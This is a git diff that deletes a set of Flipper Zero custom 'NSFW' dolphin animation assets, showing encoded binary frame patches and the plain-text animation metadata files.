b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_5.bm deleted file mode 100644 index 383069c08756db7a35e7d1eccb5ee50f3de07b25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 643 zcmV-}0(|`e0Dl7ifFl3=1;{-y!2JLZ;2V+u$DALKJ_me#g}VS0ydEY6`GeLb4k??!WB4!YKSl|>d z#J&u6AbW6l6c6P-VgA3nh#r^<4FeEUALafK4|^R0(FcSB#vl)91>S+|htN0xaX+*I z{67=e+yVl45CH!H<@~q*mBZkGp@be!@+B9a{{e|WI356b1B4ziiSz`fAhO^IL}(!L zgh%0!2rxKg?*bnXJYj@^z;Iwc$qZnA*uZ%Iq2_@<#xj3I6qg5nQ0`A6&) z2l()OFb;V5@9qIK4T1;YfaBnKf${^z5KwRs&!9z7A1D2AL?M9w4aoHn0S`n(F%JYl z98>^$90c@O1StUq_z*e%8+XEhz#u_WpA&=tSZ(ZmnouY(3}=AjIF950`v?>u1V8Qh z0YGC9Z3sxe`SAj9Kx8Z+d0;{5!w01RzBBj;Jv?YrfO7^#0x&0>21e2TLH`u;h=b4G d11LFAzxObDofGi^{$K6@`2Y-$$A?*nJV4t)4k-Wt diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_6.bm deleted file mode 100644 index 74ced0ef993dc9a1523b28c54dda6b8d04c1da3c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 697 zcmV;q0!IA-0JQ@DfF=RH22cQJ@C)ESBk&2pKOpc3hxi|GFn>Tn;tsudJaQB8LHxnV zf5V=~@Ci?d6+85>c=G}E=duIGf#(FDfF6^XfIM&j^uQ029T*3YWdNxUfyWt!Q7#?= z2k=H5I38Ee;3RM}2oC^UAhCyo%0L+`2Eu=^7YS@Z=ipcfWN^>|u)y#i2v9tO#Pu6^ zY(Rq`%mauXZ&47A1e!3(5IoDoHW~kep9jD|VF2?@5PWC+4nNL*bP#(EhUf6d@E~`< zagqccHh2Yt;Sa!g&;$=(9Rh{uA&Nl3>%rjAKb-hy`uW0N zJrHxjL@*L`dO$4n4#50D;{kwoQRx7`P(K0j;C|p34A@9r!~+_C_#PvX;s4`sC z^CbFD@E$lkVhI4aM*-%aDf{eTFiVtU0Wk-ifsQf%1;C6v5t#7>=(iI<*dSgAZ$1Zr zgoDfZ@&Bd>lvBtY0u&D~_&i$#G8hlw!Z5?}_}T@4XBU84F@PxGf#)B>3(El^fJ6YJ z%>Vt)1%%!BU@#0c0zeNRN1PlW0mn{r=|PA*aW&L7A;_+a#a1I&JZ{x}Si-7 zIDzXwuwX;O43GoNuu%L2|H0pZ;2yDrC z0pfTRc+wT<4=>_8f0y?94TK&zd;jp*Gt2NWL?RDNACC|Z7yy1SDuKWQ$Gra_dm6`p z4+_zL=PnS3<@#-{KN1Nnm{~%i1HW~Km;NI@O#t906qxNgM{ut0r0?N zVkH3d0qf^NoB}v@ABG$rp70q#;2-FCJYYfvG8zn9BY1!V;G#H(xZebV5Sfp{2I~-b EfC{!7oB#j- diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_8.bm deleted file mode 100644 index 64f7f2b98deabdb1826273ef540038073299bf17..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 697 zcmV;q0!IA-0JQ@DfFl0@{(ph802urO@D9KHJ^}Ct{(?^ctV{$zo?nnjao9+l7{ENQ;F96M zAZBub#36w3@L$>mfSf>5Pv?f8`4Q&`fMONt0LLnYULf%X3cQTM4;(%J5ZoE``T>9th&=EZ zKL|Xq1M-G|guqw`9}@r%9&iXi1`jL@2Z_Ls;0QzyZV4P!<0rra;)4LN0Y~)#j04b~ zRxo(XFYtSTuz~9%z*sO5co|exf&e6W4u`=9h64t8eIuy^WCsfcS2^8yb~cnpDq{zDJK f0x(bk6b1tiSBrqa4IhL?0py`Ws>nW23-COE2l*)8 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_9.bm deleted file mode 100644 index 368f046f0500a7564317d0b443da0a555163772a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 657 zcmV;C0&e{Q0F46wfG2P`nnDEj6hyD)$pgzm}k0cZWpWyI?2LWLRm%w0A`~XCGf#Hx+0p$Smt%x2o z&5Q;C1h50mj9~HjdEk5pV1wtu-;T$i10gUI*(My0Kf(iW4;%yd4;h&#d=P#Ij4UAb zkiaB=h&Z4@;{pegpsW-M2l#eB===#lK=a@P2hk4)jQ$BQ2dZE};{zNF{t-eStO931 z{z2#;i~NBEAoZUE$#NiZ%pgnr4=?1u=r0$Dz+m5m`VNbL84!4$2ZaIP1I`&AM~FOL zBOtL2NFGo~e*oSfk>Eh%0QJH{!{b0Fkf2HHgpc3_;%^v1KvC%c!%z5t@%{tE{$m0M zm+*cjK_`ejjKu)M-}}wMk58TG4=e@_!^nORd_nI4vS0z@&j}C!k_EwlaX1nF0SJNc zd>FiqBtrJEz$^h#|3Kq__mRLR9|`;)@xXwC%>Gk+1;YWANDLYr4`pclAn?c#C}#lT zz%$6UIRHS52f<(mpPU|63IqgrAki5J0DU;FqN zVg3j`;VK|;;RDbA0bdeKVi5&tZ^7pm!4Jy-3>4{b!RJ5WXK-NyMwbL&oNVR(JPZ_( zd^{!t|Ksx?|C}B{3Q3T81_GudsR#rfDDnUkyg}y%2bY8%fKoz~ARaTY$p8z+4@kj0 rV=e;#2-LyjK7f89ixdDP3^Xtw;n+d(4`7e-e&ZjoLO=PA3>+R{n<^HZ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt deleted file mode 100644 index 248ba1feb..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 23 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_0.bm deleted file mode 100644 index e2cd387e7cbd88883012935226345cdf374a58f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 480 zcmV<60U!PW0Neopcmv=R0CxB|@GyRSKkymAKK}sm_dr4Q{Qtn&wm^bi!uL^h%gZWq_0U-y(Y}!#61TY^AgAt4n9|zJX3<3lX zgh7Wz9Rjf(9swN(k(>j~oPpZ?^yx3?IA%dpJZMuW<*oKpwMzc~8LyATKaHlg20@ W0t$p4)BW^MJ!TCyoCDe*4{rcH0_DJVt^x)R5_!%P0svTWeSeFi03GB1pihWArr`GA z3r%W5LjWKlf5JltwV(=L_&7dWC4dLnXtW>oa)Z$nP>=d~N$M*Y5I-T12oLxi;PY+@ zSV8cQF9PsPWB_Wpw5D(fz&-;f7aF(Py7NL1R4STBf#|dU%-PPagdOIAVdHBcntA~ILqPrBA@gB2fPmk5Wx@u z{y*T+0Sy1;0D}Y6IwGM5h(LePFnbfs052j3;edhpKV{fGpdjWyhyYiH4|)JUrU3SV z1KKceP<%rP?CU@QL67PWh#0-00OfOuJ)B|yO9K6%5d(7r-auYpdA$WLK=ps1JlqSw TQwcqm3vh3l_|XIeIPeHSqKm^` diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_10.bm deleted file mode 100644 index 57997cf4628748350e77037778fbb06f710d41c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 477 zcmV<30V4hZ0NDWmcmu#6fPsVe!4H6g^WndPgY)tK2mBtu55M3%e+4TCj1CzL2jo5n z7z7^!|33pC`~Sy)L;(kXH3{Uw<70qK3dRg0N&o-i(Fd2BJPRq{Jn!&G1b}!kFxmJ3 zWJDM+Jg685i!Gtx5(kWffj}vkXkZ_F7(8wP5+RTPPX+kn$IS!(0gN~vVSz`FycRJF z0t8lRz&Z*1LE{KWk}S|B4=@14FaY%$iabf;fe?Gn0qABJ#{s&j5eJC8U_=o=B1FOF z02t+g{Lt(F;9e|}M$;s87FJ^TXG01x;KpaK?~)PTwlOW|0*@8buvP`DrU@&nYA zUI2Zy3z`2{DLqGHg8ze@9&pSA0{#z(*a&6|!M_9IAOaf%fzCks;6_G54}(FF#taXI z!GlHw4~zI{fI@zNc#?_*fCtxr2wVnoK>_K2D3pM{g+%}V6eTcmk!eBW0r&w1FykSh z-a+XH{tpHjU<8%p07Wl{`~Wj?$go5bAkqE`#y$@&d)YpoZpvgT?+p_~0YS T97J*ltil0*`~%W34^S|GkxI!| diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_11.bm deleted file mode 100644 index e83fd0f174b64854a16c07544d411417027855e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 466 zcmV;@0WJOk0L}pbcmu#50Qdy}9ls8I3?HA5{03kT*dO8o53k@nV9;QGVc;;pesSOs zfKtGL>ob5x0ObMrfA8S)|9{~y2!UAR@DBmx!Q%u6pFi*mC~ypfq7@K$;3Pn^oCD8) z4+oOaWN1R*1J4FH6##?B223&m8-yM|2>pO2KmtS;|6e~hkH7{oz|l?QkcM{N@Ow02cxR z4_UxHhyvt8D5L}cvw`S?(ryoL0JPqu22cS42G9>TAb=PUER+AD1Rn&Vzysu7CozC* zKkDTNqR^n9^zwt&7_bn0pUIeCz;nPRXfmKcF97&xiF9Nw@dv;F;_wJSE)NGDFbF;` z<z9;Q*Ke%z$6(_&j4D3;GRg03rYH=jZYlij6n~K?j>q zf$IP@kN^G;7$7{FYa9oV{6X?p5PM)3WVgnxnc0EagR z{H{=XkOl+z2RXd_3&F4h;{IJK35>uEa{-i|0T>6wfCf{;0E6HFVbOvD;vO0x5W#`* z_qYK~T?~=nB91x_klEl3=u|*>&H#fzN1>QO=kaZnfyO`q{k02#4ITpsVha%(6a{u) z@BBaTG8jNCSfU0Whx|GqA^*?d#UXdVJgffzFoW&HK>Q;RKMUdy*myp$0RBgay+99O z2eb$t(*pYg-VlFiAU&Xj_6NHB!RH7!Gz6Z&_TVSpAP-xBJl&!Ih~Pcs0QG}F0Ft`G Ag#Z8m diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_13.bm deleted file mode 100644 index 7571319ec65232c7b332522211157955b7f05a96..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 474 zcmV<00VVzc0M-Ejcmu!%0tfZ{9lQ<%1RZt?3<3rSPyGB0o(T*B3?wKY@&oV-p99Yk zfI$GmnE%1RgANZL{x<-I0f(PB1(o0iUl05)0SJI#BoN}E77y?!AbCI}WGs z8UzA{TQR{0&+!KbjKCgXLI;dIK0oCUhKRU8A^ro*UPv+k4ghu_@sESbK-6Ri|CGoN z6`IBtq8}vqgTX8t5lf=+T0RSu<9>0zNJ);8i2bGK-&EW^9@W^Ns|Lg_l z{0bNW0}K8N7y$zcR6u(xL~2ix04QKmVvZmBxk2e*0t>)F^?((O6Zo!BdO#zM!TbZ9 zzIFxR_yPC8pu5Q*Yr%*E;%);e;taqHeJ3EmA%OTCm~>#k_*57?U_|+xAy@$4{{m>R z1Q7rc5ijAhpfJb)Kj8X66=fjc0K|kiG}(RuHvj+t diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_14.bm deleted file mode 100644 index 08a11ff3a29161aa64f763a11059323a5690078f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 481 zcmV<70UrJV0NnuqcmQ}1@H+qJ;B~N00Ll1({2(BNm~a56fD(|QVi*9qem~%n6f7bE z0|E`6JP9uVJ)lJ~h|s}C7$8u=;1EKX;3**Uh6CO~z>ovXfLspvkU`}Dj04PoUJv*@ ze-Jo?0t|FOSo{Iy2>-|62(=1`JV)Y25cq@EIEW&7q|g9Y2nX~2r7(E5+5`R_kkn!f zG)R~{L*fq@#Q+}A@Ay2G<2bMb+HemNcz_1^FbA?YLFxRBgWCWvFaZC6h5$f+|NnyX z8Xy5D<5gk^0g<9rKzt4bnl1ugC_OI#L4pJCzzY}`_#EK!Aq#LsWDl8xFjdYEP6IGw z0Q-PQ%mNRC`Ns?b4~V!7gQErq!6j4B4`gyG2mmdFzyU@;^dTw7$$|hH01$8x5D5R@ zCaxghhe|!*dk_GQClFAJ7*Qqw8~g*{5Ew%QKn@Qd2fhM+7kq#JAOGj@8X)kbE*AqmPF5PLiqz|TK;DHaJl0Stfqel-IEiXZ+b8Dzi% X@D!9k_%264fXaR%Ir621!}t`KHEY0U diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_15.bm deleted file mode 100644 index e8ea8497a08bb0692736be63a7ef9e4a48dd3e60..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 467 zcmV;^0WAIj0M7vc4*&|72p9}u;FRzIlHda=z&#=WW9$VFzz;~k!2jan00$3zr}JisDD5>h}Q<_)Me{K-_3B?1A?j|9{yce;6SkN)7)H zkUU}0fO`{!9+TjEx&(fMLI=To!iXQ708s({FO{Ky8h!*nhx{Dy0>W_t_XYwE3jPm* zXx9LP0SDj01Au@}0rdcn&>#xv2c5y#Fo1pVA};X<*^NK~<`ervAPVH40S-1LMRI@R z;6jK3PXG@ysI7z!AoSn?4!{B*19U|x;3AL=z@|(Qp-c_&fBXRoFe@MffA9rTh7!a- z5D$~^Q6fe_df*}DLI>CT<_slT57Y4CsPR04=RS|VsbA>0|| z|G9(G3_e%`@W2NQ8W{LUBFT7-f)8E*2xq|2 z{y^X$_P`N`{!JK1{sS0WG#df`F^n+cAoqrF17Zd!36MYw82AJB!TuMK1Yjc}FgO4H z>#6K2t5i$&O%ZH%HaGE(cnMf16G_Q3SeOzh(L?t z12ys7074KTdB4O6UjRvj1{y>$P=Fu#7y_Mu9~=eox5fPhlz>DN^B+ANAYnKA;1HmN z3IFgC#558FU&15!|AR%Ai$kA~iA+HE@CV1?^B|Z#rWgOj{j6a3h7QNzOE7!Ei=+Po zoFJUgAOHNKN)lf&w14Fh2hG49LG+LV)!HEOWu*X|!S^Hx6&C^z8Oz>$4DwzOr9cHd z0S`RR1NAkZE@2poa|4rLfo52YT6I7vuf<)MJeVF&`80`UO<3`u%# z!AY8Mz~X;6J^@=00N8*A1;7Wp;74KrDgpXF1+f4XfFBqI`g{*a07&_$;R-PTJ^pwE zC})5lD&YbQ8vwgN0lr84JP?qB-vAFB2miu?AbWT(;qm;(0rN2b{yXO*Qy2i@j3H}? zKA_+K`2u9TfP4VP9$*0eAOw^L N#{p2F_y90Jz#cl_v8n(7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_18.bm deleted file mode 100644 index 1842a9a2dca95478aba67ff11435b078711592ee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 474 zcmV<00VVzc0M-EjRss$X=-?S)0kZ@hz#g~28BhTSz<`6(ga#?#B?t$8z(8POk&log z{yG>m1K|u6Apo!+`V0aY0IWfQ>A(RO{zhOZb_oKblK;=(5r_m9j%rwR1Hu0#2s~gm z0D6K)@&AXwA^`CO2muNM|Nor?9!fJPAUwok4|G_A#HJv@2f8Rh<^UK92tW%A|Na5w zCJ=kZKmU+g>)8;0Q%tpDkXs(0u}fk zkN|iM_<-UAbpRaxI0Ps`aDWXT@CwQZK$IBY(1d_7dlLkBA|WU~0{{HK|Ix$`dk6hW zFcv{R&;U`7{vC>7_=bP~;-m+>3?9v5CnN+OB6SC^f&u?O5`@9(ryTe_VgU7C3>}oR z0D8g70uNM?0Zg_qFp!oM3U>p6Kg{rB<{9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_19.bm deleted file mode 100644 index 8e0efbc79d773f83543369b366158ac64927c2ff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 499 zcmVEaU*Jn#k*@B_vL3V82>=V>e+R(f0r)yE#QYytU?BW~@*NrE z0|D@lgX-}Bpm+iDFCGLAL4b#Xjs#z5G(n<5qz9~G5OqeNgUviw02qdkfJAZt-~h*X z_$tgYLV@4{3-B%<;4p$|Kz2AZbKrBZKVtvCDxbi#fCKzTu)bqA<0U~pkW01*~1mQfHDLF~X$ psVW?7gt7;`Fi2v;2fW}0Uk9Ur3%~;;Qj{20J_6eS6gV^BF@WhK#Nq$| diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_2.bm deleted file mode 100644 index b3d7ccd71158909d33bf79846b3dcc8751494c66..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 495 zcmVn+b)04ww)8{0^Q7h5`ZyKja7C2RsLc5dZ_1!~R7m zcszju1sD(*dBVe-0L$_Jf`iKeCx;G<9*{T$5&=MfV8><(5-@|;01*%Y2?!n}(YgYP zKo2qj2haI`CX8`3fb%pA6Y(K2nE-`i4-J>h`$ydFpZlLC36N@5Rg0DXUfLjWiLpo0(q|AK}9MaYFv z9|DBHF$e&`fu<2ne4zBa0S90YwV0tvT%hz>iok#1=LeJm9PAt5KI0ey8H47*KyQdX zBInYOz##zmnS|094}nR?AP``F3q}MFg~7oN0tzrNx6D{25^o|LT_^AY7XmN>5Gdcl z=YPO5ih&>;76XDME&xzQ1t3U_1K`6S$NT^w@&A;DAh8evekb73{71lp2*5kz{{#4E z;3(k-&VT<8{}hBDAOV|!h#ztAe}n4)4<-?V-hdBh1IPjW5C@ZR!S4tMv+V!{1~0Gy z;9&B25S&fT0VlLT9<~H|gU(;R6GdFa}Y;dPm_9;xPowP=A1U!J`0S{~FMMU%+_4VgQk|l+p|sFaCZ3Fcgf) z>Vks*|LE`u1Ojmxf*BkC_?UyrDLjEE5P&oI0Hi_V1jH*60A&;yibNh<1tOkT!2p2- zgaDI>1>?XE6qvxl?2#Y$gkmT0fgFSYg#rKk!Qyrhdz1(N_iCI7L?8u&BgDdRB*_30 zFb@)Vt%d}yMG1q=HZV8wln`EE0f&R#oj4LlU;*-9C}Xf;!1#iIhH%^!ay5hi zPJ-|=1zd|aAPfOKU}6e14*VaT@XFv0^=GJVeSAjJs5;Z(24*6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_21.bm deleted file mode 100644 index c1e56f0d4f8ad956d93bdcff50b827dc44f8a1fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 476 zcmV<20VDna0N4Qld;$gz-UNIhz6<;;AD<8WJRi_-OMiz6_z#c50ti|78DQ|pFdVQ0 zVekkHK2RuN+`wfH0hjatkATJi#UBNf;2xYf1V9WkF9s;~rWq?_zEPtFd zz{DaDgHeDAIBy>qJVl}pdw@KA?(>9D0qPbL_=D2G4^rTR#D*>Lf+vswP+)nWMi`P1 z0>%aF4hO%09<%3>5ENc*Qdb}V*Wv&$q5u$DVp3lqJ~#mR6b+E7ZGi{G;0QmD_&LGk zdM*$?`~tDS-@)_(90US>54dA+W5D=@fQDc}6?3!*`am&)1MdKn7l?o^4FFFdkr@XD zz$cJMlkh2=1T^pq{BfROqrf2&e{cd6f*1rZf}nxrfF+bchF=Akhzr046xl))A^t(BM9G8tz&|j3L<8*GKmkGl z{RRgLI6wsi2eb?yxCB`L;p22KG5mq)5C^N=LE{Gm9Dp9N$OQlRu0cS65H>OY!ktOY S0EgZIE&wZlgr^6FA1nag?7mC@ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_3.bm deleted file mode 100644 index d2b19b3203638a1e35d7ac8d28c068f57a7dbe67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 498 zcmVXp{(s^41tP}*-0D6=Jb|f(e zk^Mje4*wFw{!qm7GY|eBAb7_n0QR^8)_oWUw*Ve);yefef$Bscet`@hI0PaC6oSAHkN*M&L?wuT9BMz{fWis{4~zf^NMaAK$Bqsm5PX0C6Zrq&dji4# zzc0YU-fTQGaU1MLV0vCE22lUfJ$H>AVY%z3&0Og1biG{@S;G$=PDGT?&uJCl?(vD_Fo`9K|~J_bBEC^ApgIE_uvn)`Fkhe_>X}P#1EF} zfD3{ZKzk3z03}cY14WcH02u@4;RBF7NFOi>^g;m6aC%$;;{pX35dr1Egn>;IO+y5n zJ^%?k162>_1i%B%z!4w#WMQI{Kno4O)A&F<&;kH|fE7FoRA0wts6J_D11 Xfy4l}!16#aWaStUVNU1(p!0wnVfn=7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_5.bm deleted file mode 100644 index 7cb596161923da2dd06b884364e927275e971b59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 466 zcmV;@0WJOk0L}pbJPZa`0CeC0hrob_qVNewI8`IyGM|IeI0QQY*uD_aQcM7cAix5~ znFI%?fCzB{0YUIZRV5faU{DAR9L%s_8A1T10UV)0LE{8Ij9?z2VxI%h2p|OD5QhH* zfPMkv3{x}*0sn%7$Nmp6B6dDlpVKKZp!K6yQaVl!O#`1EK;-aRecg=)3^~1eXE}fDD}ZOebP|91nm5 zD}W4w1P?QSn_uA%f(*{UevjZh;1d9R5>QMhq+i4WFwdO%K;ebM04@CNE0Q=EJ-i?I z`gl|b07V$b{~z{S01JS#DD*kj$CC$-gU%cvd%`c`(T@`#05D`1GQO#4;jned;lQ_im6=30Gt4a9=s$% z50(LkHzEOe0z!eq*$e|KfZX8V^(7PJKxKm@A*nnClfkxK$}V&^r~tkn@k#^Y0Xzbr IK0qD-P>LqHvj6}9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_6.bm deleted file mode 100644 index 130e81ee119627d14beb07c257e65a340528833a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 464 zcmV;>0Wbam0L%dZTpSAsPq4#vr5uC7J;c-~-P94{yLcNT?J*d0-&$fl^#Q!BYg3atJCu0t`_` z2`hvPfLmMw*o0-kfzS<&;6scEMs@@1o&{WR2?9DVfK-?R;OM`GDgYBc1UO>;Z{h=k z3?~10avA}E1s~vl;3?r{sz}fxs1WG`-@vsWhnxl}WB?pu|NOs*gdZ?wn7_mUP(S~C zJa7fFCyC}i@#z2t5D!+sgT^usslYsqNe~CDI37TRc&-7iKl}M1fUS=wAY?|UJ{SZY z)WVS;ARJxh04QL%!i572AgLf102yH0EQt^R$ADz$aani;Mh|jXPXNXbkH-YEfcU^F G6anDmHMtD{ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_7.bm deleted file mode 100644 index 7c32b8531b342b73e61c08bad5609440d5e90a77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 468 zcmV;_0W1Ci0MG#dMgsm1+sA?)A?v_DxDYUhLxKG;17N^_%lv?V#&`)r0neZiATaPF z;Pi$ei~j(C!5|+DV2pqRI2o7!BLIXzDG*?Kcmd~AfJPt^d>YL{qu~Fo#vn2pIcZ?y zk^j%Z`RgPb0} z2N-}JK50LLj6e>p5CMJx@@P-v%s>wTX$TO1Ao_q%;1mypJReiY1cSg2zr*}^1yo6( z5O5H9K~)I`6i8$cG=fD8l;Pe$0=R#GruZ)dyp(5vI+(0S1wbvS*@5F=HaFlxBtjmH z!218m`lUVy==^WbN60lG?Jx1-p~eIe9~GPkpy2Yrf7FD4Fapoi;}0+j?LY^A{(t}1 z7TW*|z%3ty1{e>ShyNZi7BYYm8UO#F3?C3Mc#4o7#c>C-n1BX%5O{(T5Kd?Ye*OqW zgGV3`_X0d!t}u9bAs7m#C>yC*3Kb|B`2gfTP&$AL3_ehN28oy`qGUh}rvNf^L3E8q K4}1XZegJdQ2*c+9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_8.bm deleted file mode 100644 index 8310e2364091a3b7d2cc0187e0a82953d425be4b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 479 zcmV<50U-VX0NViocmu#50PqBGKkzU*LxJu5fKR~3fWL>BIz9*pnIIMbdCUN12M44_ z;5axi45t7x@PFg*z*!2@zymLb{{IGy0fcHKvlJKO|384l2BUX1zw`f}C6vN51P7R) z#p3{wKr@6h01dz%XkiD83OJlj0aQWb9|xZSDxp!o{~_S>NufaD|A;6&%t8P}h~E>W zgArfXFxy@_oVL7yy1p9fGchSwJQLF*>9O9^3}_tC5E8(ZB(bRDeT( z&;cjlQX%AnqhJpl{OX(Wsr&$I{1z1c91AXiDZk(Q{QlqvC`2%{-VgZHLuCY*BjSGq z{vt@AU|zAG`_pKYSPXAU{4I@q_>1;Ps#QAYg<1LB}ch|HtDH z;<|;<9x(VMU`}8%3!m^lFgSo1h^IIKm;3*ZfXoSmD?b5L|M&O=fD$}G84$!MK=GS{ z%AsP37Yu+`|KuPZP>F#|$Oj+5A%q@qWnut^2f!K#JcmZiC<**{A@TS_;QR%eg2(ye zJd8v61fT=fIDa2FJfILu06kG6ZxDExL>}b<2aA~Cg&_bTSV89m0E)|n~{ zC?Gt*0}oFi0Imb|kHZ1&z@PRKVn!eOxc~VWr*HwHWphuDw>m@W|jJ7BmA!9kD$a04+< zK>Wj_fKNj`AY1@a4HEt!IsmF56Zqf|yaV&VB@%z&G8{MvUk?Ek@8!}$3}6O7fbfV5 zfq(us$_X$aBiKL%@c)Pg1W-@`|KNYgi~<61PKCkWp2jM({^MD7E@=fFq zV4K(h!w&vlWh6CBwfC7U9#ms>BfrHuzUSs(GpJw3_^Ek%v2ta#IAQA9-#0$*; VhlGRxasYag#vaTN0niD`h7gD+$HM>s diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt deleted file mode 100644 index 8e51d5271..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 22 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_0.bm deleted file mode 100644 index 32b4975f8dfa49291d48b60e17662400ddaa3e02..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 807 zcmV+?1K9il03!ncBtzr>fl)G2N=yU)9|xp^?fEhPf^bto?r{r@J8mlcZj zYTyzQ2|_VFU;QT~D5%6Mn`tB>gfSQfV{8A($tb$56+>!oSf^k8N2zMEP_0#{8d6Mw zM0LO1z7mln(CRf*NfbmRQysVJo*o@kDy7>6iTGeN2?n$4pNLgyI!{HaAP^WvA`xKT zdaLT;$v~=GcqB>_KnV>Z@zu}iB$Z6BLf9=32*@B5C{-YiIT#fJ34taQ5(Of_Y$~+$R9|!AlSn`?far{dg8+(dFZ=WO{hFdX z91+M=V-Wm(g~ARJ_@j#e4k(Xdpicn;3_}4Rf;2`6klc4i<|7;c^jYNrhQg*$phRH zI6&~hFcHt7J*h#l#6%tF_@8C;^zVoPd}up(SNNX!DkcI!u=dG8?+QK)iV4)ML;s-mkVd+I7s7#Bm^Z|#TXks#LY|KDJH$|6u4P3zy+*Mr{$K$Ltv_v`=EKM<@I lyLH?5gPcAx3Wxj}JMjEcFkh=}@Avl)#EVhi0+szd|M2@SZ?gaZ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_1.bm deleted file mode 100644 index 09480f08514eb219b974753c01986c5ad9c2aa68..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 817 zcmV-11J3*b04)OmBtzr>fl(xsoRkCq9|xp^?fvBzx1d5K7zhMQ&Hta|s#2PaBYi%CKp-$kh69QJztV7&sa8kXYbY-h{r`|kNCQIN zZJ-ho2|_VFU;bA~q>@5yHrXU1gfSQfV{8AR^n4Lwa8d6Mw zM0LN}JtkBi8kbgyB8Y^FW48TM@>EQg6H&SaiTGeN2?n$4pOR{2Qk|DpAP^WvA`xKT 